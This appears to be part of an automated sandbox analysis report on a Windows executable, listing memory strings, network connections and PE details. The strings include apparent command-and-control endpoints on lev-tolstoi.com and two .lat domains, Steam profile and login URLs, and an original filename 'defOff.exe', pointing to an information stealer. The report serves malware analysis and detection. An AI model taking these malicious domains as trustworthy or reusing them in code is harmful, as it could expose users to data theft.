Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/nschonni
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampo
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: chromecache_116.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: pVbAZEFIpI.exe, pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001034000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/D&
Source: pVbAZEFIpI.exe, 00000000.00000003.1642485094.00000000010AC000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697432712.00000000010AC000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1659392312.00000000010AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/E
Source: pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: pVbAZEFIpI.exe, 00000000.00000002.1877399902.0000000005720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api-
Source: pVbAZEFIpI.exe, 00000000.00000003.1585425286.0000000005733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiAIAB
Source: pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiXB
Source: pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apia-B
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi:
Source: pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: pVbAZEFIpI.exe, 00000000.00000003.1697432712.00000000010AC000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s2
Source: pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sZ
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowere
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vi
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: chromecache_101.6.dr	String found in binary or memory: https://schema.org
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.B
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/pro
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com
Source: pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001054000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com-
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.comZ
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talkynicer.lat:443/api
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tentabatte.lat:443/api
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_101.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: pVbAZEFIpI.exe, 00000000.00000003.1610122181.000000000574F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.cos

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49715 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: pVbAZEFIpI.exe	Static PE information: section name:
Source: pVbAZEFIpI.exe	Static PE information: section name: .rsrc
Source: pVbAZEFIpI.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105466F	0_3_0105466F
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105466F	0_3_0105466F
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105466F	0_3_0105466F
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105466F	0_3_0105466F

Source: pVbAZEFIpI.exe, 00000000.00000003.1762357589.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1757417170.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1764475627.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1763071016.0000000005D23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753021380.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1759021921.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753722724.0000000005EC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755713484.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1760732633.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752557190.0000000005DDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751925720.0000000005D1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1764681187.0000000005E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749165036.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1745456595.0000000005A4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753272488.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751336882.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752678920.0000000005D1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1760912937.0000000005F50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1772393751.0000000005FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1767267807.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755139986.0000000005EE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753133061.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1758812656.0000000005F1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1745456595.00000000059F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749751517.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1765173045.0000000005F89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1762525544.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1763971210.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1766784317.0000000005E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753487821.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1762029180.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1795008619.00000000057D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752796369.0000000005DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1772841464.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1745456595.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1761270532.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749550444.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1757628333.0000000005E16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
